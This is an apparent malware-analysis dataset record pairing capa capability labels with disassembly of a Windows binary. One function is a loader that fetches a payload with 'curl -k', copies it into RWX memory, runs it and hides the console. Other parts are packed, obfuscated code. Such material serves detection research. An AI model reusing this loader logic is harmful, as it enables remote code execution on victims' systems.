joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140004420]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140004430]
mov dword [rax], 1
mov rax, qword [0x140004440]
mov dword [rax], 1
mov rax, qword [0x1400043b0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140004410]
mov dword [0x14000700c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x1400044e0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x1400044c0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x140004360]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window
Read file on windows

Disassembly:
push rbp
mov eax, 0x4b440
call fcn.140002710
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x4b3d0], ecx
mov qword [rbp + 0x4b3d8], rdx
call sym.__main
mov rax, qword [rbp + 0x4b3d8]
add rax, 8
mov rdx, qword [rax]
lea rax, [rbp + 0x4b350]
mov rcx, rax
call sym.strcpy
lea rax, [rbp + 0x4b310]
movabs rcx, 0x206b2d206c727563
mov qword [rax], rcx
mov byte [rax + 8], 0
lea rdx, [rbp + 0x4b350]
lea rax, [rbp + 0x4b310]
mov rcx, rax
call sym.strcat
lea rax, [rbp + 0x4b310]
mov qword [rbp + 0x4b3b0], rax
mov byte [rbp + 0x4b30f], 0
mov dword [rbp + 0x4b3bc], 0
mov rax, qword [rbp + 0x4b3b0]
lea rdx, section..rdata
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__popen]
call rax
mov qword [rbp + 0x4b3a8], rax
cmp qword [rbp + 0x4b3a8], 0
sete al
test al, al
je 0x140001547
lea rax, str.popen___failed.
mov rcx, rax
call sym.perror
mov ecx, 1
call sym.exit
movzx eax, byte [rbp + 0x4b30f]
mov edx, eax
mov eax, dword [rbp + 0x4b3bc]
cdqe
mov byte [rbp + rax - 0x20], dl
add dword [rbp + 0x4b3bc], 1
mov rdx, qword [rbp + 0x4b3a8]
lea rax, [rbp + 0x4b30f]
mov r9, rdx
mov r8d, 1
mov edx, 1
mov rcx, rax
call sym.fread
test rax, rax
setne al
test al, al
jne 0x14000152b
mov rax, qword [rbp + 0x4b3a8]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__pclose]
call rax
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x4b320
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x4b3a0], rax
mov rax, qword [rbp + 0x4b3a0]
mov rcx, rax
lea rax, [rbp - 0x20]
mov edx, 0x4b320
mov r8, rdx
mov rdx, rax
call sym.memcpy
mov rax, qword [rbp + 0x4b3a0]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x4b398], rax
mov rax, qword [rbp + 0x4b398]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp - 0x20]
call rax
movabs rax, 0x3131363031303031
mov qword [rbp - 0x60], rax
movabs rax, 0x3936333137373330
mov qword [rbp - 0x58], rax
movabs rax, 0x3234363037313231
mov qword [rbp - 0x50], rax
movabs rax, 0x3632383936353931
mov qword [rbp - 0x48], rax
movabs rax, 0x3632393237303136
mov qword [rbp - 0x40], rax
movabs rax, 0x3534313231333332
mov qword [rbp - 0x38], rax
movabs rax, 0x3533373732333333
mov qword [rbp - 0x30], rax
movabs rax, 0x30353330353337
mov qword [rbp - 0x2b], rax
mov eax, 0
add rsp, 0x4b440
pop rbp
ret

Function at 0x140001950
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x1400019c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140007094]
test esi, esi
mov rbx, rcx
jle 0x140001af0
mov rax, qword [0x140007098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001a0b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001a95
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400019f0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x140001b12
mov rax, qword [0x140007098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140007098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001af7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001a8e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001aa0
add dword [0x140007094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x140007098]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001a8e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001a18
mov rax, qword [0x140007098]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002080
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x1400020dc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400020d3
test rsi, rsi
je 0x1400020d3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400020b8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400022f0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll_exit]
call qword [rax]
nop
nop

Function at 0x140002300
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll__exit]
call qword [rax]
nop
nop
nop
Function at 0x140002310
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002328
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002330
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002340
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx r8d, word [rcx + 6]
movzx eax, word [rcx + 0x14]
test r8w, r8w
lea rax, [rcx + rax + 0x18]
je 0x14000238d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rdx, r8
mov rcx, r8
jb 0x140002384
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000238f
add rax, 0x28
cmp rax, r9
jne 0x140002370
xor eax, eax
ret

Function at 0x140002390
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002420
mov rdx, qword [0x1400043b0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000240e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000240e
cmp word [rax + 0x18], 0x20b
jne 0x14000240e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002420
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400023f9
add rbx, 0x28
cmp rbx, rdi
je 0x140002420
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400023f0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002430
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043b0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002450
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002458
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002450
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400024ad
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x1400024a4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002450
add rax, 0x28
cmp rax, r9
jne 0x140002490
xor eax, eax
ret

Function at 0x1400024b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043b0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400024cf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400024d8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400024cf
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x1400024f0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400043b0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002510
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002518
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002510
movzx r8d, word [rdx + 6]
movzx eax, word [rdx + 0x14]
test r8w, r8w
lea rax, [rdx + rax + 0x18]
je 0x140002560
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002557
test rcx, rcx
je 0x140002510
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002548
xor eax, eax
ret

Function at 0x140002570
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043b0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000258f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002598
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400025b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043b0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400025d0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400025d8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400025d0
movzx r9d, word [r8 + 6]
sub rcx, rdx
movzx edx, word [r8 + 0x14]
test r9w, r9w
lea rdx, [r8 + rdx + 0x18]
je 0x1400025d0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x140002624
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002630
add rdx, 0x28
cmp r9, rdx
jne 0x140002610
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002640
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400043b0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002662
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002670
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002662
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002662
movzx r10d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
test r10w, r10w
lea rdx, [r8 + rdx + 0x18]
je 0x140002662
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
cmp rax, r9
mov r8, r9
jb 0x1400026c5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400026d8
add rdx, 0x28
cmp rdx, r10
jne 0x1400026b0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400026e7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400026f7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400026ce
test ecx, ecx
jg 0x1400026e0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140004ae0
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x58], rdx
mov rbx, r8
xor edx, edx
test rcx, rcx
je 0x140004b14
cmp word [rcx], 0x5a4d
jne 0x140004b14
movsxd rax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140004b14
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140004b14
mov edx, dword [rcx + 0x28]
add rdx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.140004a20
test eax, eax
jne 0x140004b30
xor eax, eax
add rsp, 0x40
pop rbx
ret
mov rcx, rbx
call fcn.140004a90
test rax, rax
je 0x140004b25
lea rdx, [rax + 0x10]
lea rax, [rsp + 0x38]
mov rcx, qword [rbx]
mov r9d, 8
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x58]
mov qword [rsp + 0x38], 0
call fcn.1400052e2
not eax
shr eax, 0x1f
add rsp, 0x40
pop rbx
ret

Function at 0x1400051e0
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.140005180
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140005b65
Capabilities:
Get thread local storage value
Packed with generic packer

Disassembly:
cmp byte [rsp + r14 + 0x18], 0x2b
not dword [rsp + r14*2 + 0x28]
mov r14, qword [rsp + r14 + 0x38]
jbe 0x1407d0e62
mov qword [rsp + 0x18], 0xffffffffc5a6f311
sub byte [rsp + 0x18], 0x9e
shr qword [rsp + 0x28], 0x4c
add qword [rsp], 0xffffffffbf87fa55
or qword [rsp + 0x28], 0xffffffff9499e421
push qword [rsp + 0x30]
popfq
lea rsp, [rsp + 0x40]
ret
jl 0x14070dc53
cdq
invalid

Function at 0x140005b84
Capabilities:
Get thread local storage value
Packed with generic packer

Disassembly:
jno 0x14079553d
adc dword [rbx + 0x40a01], esi
or dh, byte [rdi + rax]
add byte [rdx], cl
xor al, byte [rsi]
invalid
xchg qword [rsp + 0x50], rbp

Function at 0x140005ba0
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x1406e7d00]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1406e7ce0]

Function at 0x140005da0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140005dc3
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140005dc3
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140005dc4
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x140005dfe
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x140005df5
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140005e00
inc r8d
add rax, 0x28
jmp 0x140005ddc
xor eax, eax
ret

Function at 0x140005e71
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x1406dcb70]
mov r8, rcx
mov rcx, r9
call fcn.140005da0
test eax, eax
je 0x140005e9d
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp fcn.140005dc4
xor eax, eax
add rsp, 0x28
ret
Function at 0x1406f4a70
Capabilities:
Execute shellcode via indirect call

Disassembly:
mov ecx, r8d
sal al, cl
ror dx, cl
btc dx, 0x26
mov eax, r8d
add r10, 0x28
movsx dx, spl
xor eax, r9d
rcr dl, cl
btr edx, 0x89
rol eax, cl
cdq
add eax, dword [r10 - 0x30]
cmc
xor ch, bl
xor r8d, eax
rcl r9, 0xb6
mov ecx, eax
movzx r9d, r13w
rol r8d, cl
rcr rdx, 0x31
add r8d, dword [r10 - 0x2c]
add dl, r15b
mov ecx, r8d
sal dl, 0x9a
sbb r9b, 0x21
mov edx, r8d
btr r9w, bx
xadd r9d, r9d
rcr r9b, cl
xor edx, eax
clc
rol edx, cl
ror ax, 0xf
rcl cl, cl
btc r9, rbp
add edx, dword [r10 - 0x28]
sete r9b
bts rcx, r11
xor r8d, edx
ror r9w, 0x8e
rcr eax, cl
lahf
mov ecx, edx
clc
rol r8d, cl
lahf
add r8d, dword [r10 - 0x24]
mov ecx, r8d
rcl ah, cl
shl r9w, 0xab
bswap eax
mov eax, r8d
jmp 0x14070cf08
rol eax, cl
mov dh, 0x13
add eax, dword [r10 - 0x20]
test bpl, sil
sub cx, 0x5910
xor r8d, eax
xchg r9b, r9b
rcr r9, cl
mov ecx, eax
rcl dl, 0x36
rol r9, 0x9e
setle dh
rol r8d, cl
add r8d, dword [r10 - 0x1c]
movsx cx, r12b
cqo
bsf r9w, r12w
mov ecx, r8d
mov edx, r8d
xadd r9b, r9b
or r9b, cl
xor edx, eax
rol edx, cl
add edx, dword [r10 - 0x18]
sar r9b, 0x32
movzx cx, sil
xor r8d, edx
mov ecx, edx
stc
rol r8d, cl
sar rcx, 0x8e
jmp 0x140807375
xor eax, edx
movsx rdx, r11w
mov r9b, r9b
jmp 0x1406f4a70
mov r9, qword [rsp + 0x38]
lea r9, [r9*4 + 0x5b2e5930]
mov word [rsp + 0x38], 0x40bc
movzx r9w, r9b
mov qword [rsp + 0x18], r9
mov qword [rsp + 0x48], rbx
call fcn.1407db327
jne 0x1406f3805
mov eax, r8d
mov ecx, r9d
test r12b, 0xa0
cmp r15w, ax
shl rax, 0x20
or rax, rcx
jmp fcn.1400056f2
add r8d, dword [r10 - 0xc]
stc
sub r11, 1
jmp 0x140793353
add r8d, dword [r10 - 0x14]
btc r9d, r14d
mov ecx, r8d
mov r9d, r8d
stc
test cl, r10b
xor r9d, edx
stc
clc
cmc
rol r9d, cl
rcr cl, 0x95
mov rcx, 0xffffffff8ab5601d
neg cl
add r9d, dword [r10 - 0x10]
rcl ecx, cl
btc cx, 1
inc cl
xor r8d, r9d
bts rcx, rbx
btc cx, 0x88
mov ecx, r9d
clc
rol r8d, cl
jmp 0x140801977

Function at 0x1406f7160
Capabilities:
Authenticate hmac

Disassembly:
je 0x1406fbdd2
jb 0x140780e68
mov word [rsp + 0x50], 0xedbd
and r8d, 0xb587ec8d
movzx bp, bpl
mov rbp, qword [rsp + 0x30]
and byte [rsp + 0x50], 0x92
mov dword [rsp + 0x50], 0xcb28ed3b
and r8, 0xffffffff8fa86d83
and r8, r8
mov dword [rsp + 0x50], r8d
mov r8, qword [rsp + 0x28]
sub dword [rsp + 0x50], 0xd6baf517
xor qword [rsp + 0x50], 0xffffffffd607a214
or byte [rsp + 0x50], 0x17
setl byte [rsp + 0x50]
xor word [rsp + 0x50], 0x7624
not word [rsp + 0x50]
sub qword [rsp + 0x50], 0xffffffffc01c0d8e
or dword [rsp + 0x50], 0x89b16109
push qword [rsp + 0x68]
popfq
lea rsp, [rsp + 0x78]
ret
push qword [rsp + 0x58]
popfq
lea rsp, [rsp + 0x68]
ret
Function at 0x1406fc095
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jl 0x1406f3d9f
cmpsb byte [rsi], byte [rdi]
mov rcx, qword [rsp + 0x50]
call fcn.14070f2f0
nop
mov rcx, qword [rsp + 0x38]
push rdi
call fcn.1407c36c8
mov eax, 0xc0000005
jmp 0x1406f5dd0
lea r9, [r9*2 - 0x8654cc6]
jae 0x14078093c
xchg qword [rsp + 0x18], rax
jge 0x1400056ed
jae 0x140804e86
jne 0x1406f5d62
and r8d, r8d
lea rbp, [r8 + rbp + 0x6e39b6b4]
test byte [rsp + 0x1f], bpl
xchg qword [rsp + 0x40], rsi
mov r8, qword [rsp + 0x30]
pop rbp
setl byte [rsp + 0x10]
call fcn.14079f572

Function at 0x1407820b1
Capabilities:
Get thread local storage value

Disassembly:
test rbx, rbx
je 0x140005bec
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140005be6
test eax, eax
jne 0x140005be6
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x140005bbe
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov qword [rsp + 0x28], rcx
jl 0x14070a45e
jl 0x140005bc5
call fcn.1407a716a
cmp ecx, esp
invalid
movabs rdx, 0x633b7aad4c9c2986
call fcn.1407e564b
mov r15, rdi
jo 0x1406f6146
call fcn.1407c6a70

Function at 0x1407a6630
Capabilities:
Authenticate hmac

Disassembly:
mov cx, 0x493e
not cx
xor word [rsp + 0x10], 0x9009
jbe 0x14070133c
cmp r9b, byte [rsp + 0x11]
jns 0x1407ca5d2
mov rcx, qword [rsp + 0x20]
mov rcx, qword [rcx]
movabs rbx, 0x5f1dd605908b1cb8
mov qword [rsp + 0x20], rbx
setg bl
jo 0x1406f8f13
ja 0x1407b76d2
lea rcx, [rcx + rdi*4 - 0x17d34197]
jbe 0x140780e61
mov r15, rdi
xor r15d, 0xf89bf5ba
cmp r15, rdi
push r15
push r14
mov r14, rdi
mov qword [rsp + 0x48], rcx
call fcn.14070862f
xchg qword [rsp + 0x30], rax
mov r9, qword [rsp + 0x28]
call fcn.1406fd915

Function at 0x1407bc54f
Capabilities:
Encode data using xor

Disassembly:
lea r9, [rsi + rsi*2 + 0x578b9a0a]
and r14d, r9d
push r11
mov r11, rsi

Function at 0x140805f9c
Capabilities:
Encode data using xor

Disassembly:
pop rcx
call fcn.1407ea95b
push rbx
movabs al, byte [0xa60ffb3833883d54]
adc ebp, dword [rax]
and esp, dword [rax + 0x1be85d54]
adc byte [rbx - 0x7fa41189], al
mov esi, dword [rax - 0x7c]
in eax, 0x50
wait
nop
shl dword [rdi], cl
xchg esi, eax
and esp, dword [rax - 0x3638755]
push rax
or byte [rbx - 0x72], cl
adc dword [rdi + 0x2042a954], ebx
mov bh, byte [rbx]
invalid

Function at 0x14081634a
Capabilities:
Encode data using xor

Disassembly:
pushfq
movabs r13, 0x799e2bae7929eb84
movabs r11, 0xa32d730ead02af24
add r11w, r11w
mov qword [rsp + 0x20], 0xffffffffca223038
mov r13, qword [rsp + 0x18]
call fcn.14081f29b
push rdx
push r10
pushfq
push 0x23a77d2f
push rsi
movabs rsi, 0xfc943b09b112baba
not sil
mov rdx, qword [rsp + 0x28]
mov r10, rsi
xor si, word [rsp + 0xe]
cmp rsi, 0x498d998d
movzx esi, r10b
push rdi
push rbx
lea rdx, [rdx + 1]
mov rbx, rsi
call fcn.1407c6a18
cdq
insd dword [rdi], dx
je 0x140816379
xor bh, byte [rcx]
fisubr dword [rsi]
invalid
Function at 0x140822b50
Capabilities:
Encode data using xor

Disassembly:
neg byte [rsp + 0x40]
call fcn.1407fde93
add qword [rsp + 8], 0xa00c6
movabs r8, 0x6d29df0e99b11009
lea r8, [rbx + rbx*4 - 0x224668d5]
push r12
movabs rdx, 0x8505dea0d2a46ebe
shr r8b, 0xd9
je 0x140707dca
js 0x1406fc23b
Function at 0x1410bb8ce
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
shl r9b, 0x3d
shld r11w, r8w, 0x9b
xor edi, edi
movzx ebx, r8b
mov r11, rcx
mov r8, rdi
movsx r10, r11w
movzx r10, r10w
movzx r10w, dl
nop
movzx r9d, byte [r11]
movzx r10d, r14w
seto r10b
movzx r10d, byte [rdx]
jmp 0x1410bb911
inc r11
inc rdx
test r8b, bpl
clc
test bl, bl
jmp 0x1410bb922
je 0x1410bb945
mov ecx, r8d
rcr ah, 0x80
mov eax, 0xf528d183
rol eax, cl
add al, r8b
clc
xor r9b, al
jmp 0x1410bb941
inc r8
cmc
test r9b, r9b
jmp 0x1410bb94d
je 0x1410bb961
cmp r9b, r10b
jmp 0x1410bb95b
je 0x1410bb8fc
cmp r9b, r10b
jmp 0x1410bb969
jae 0x1410bb992
or eax, 0xffffffff
mov bh, 0x1d
movzx rbx, dx
mov rbx, qword [rsp + 8]
setg dil
mov dil, sil
bswap edi
mov rdi, qword [rsp + 0x10]
jmp 0x1410bb991
ret
mov rbx, qword [rsp + 8]
seta dil
jmp 0x1410bb9a2
mov eax, edi
mov rdi, qword [rsp + 0x10]
jmp 0x1410bb9ae
ret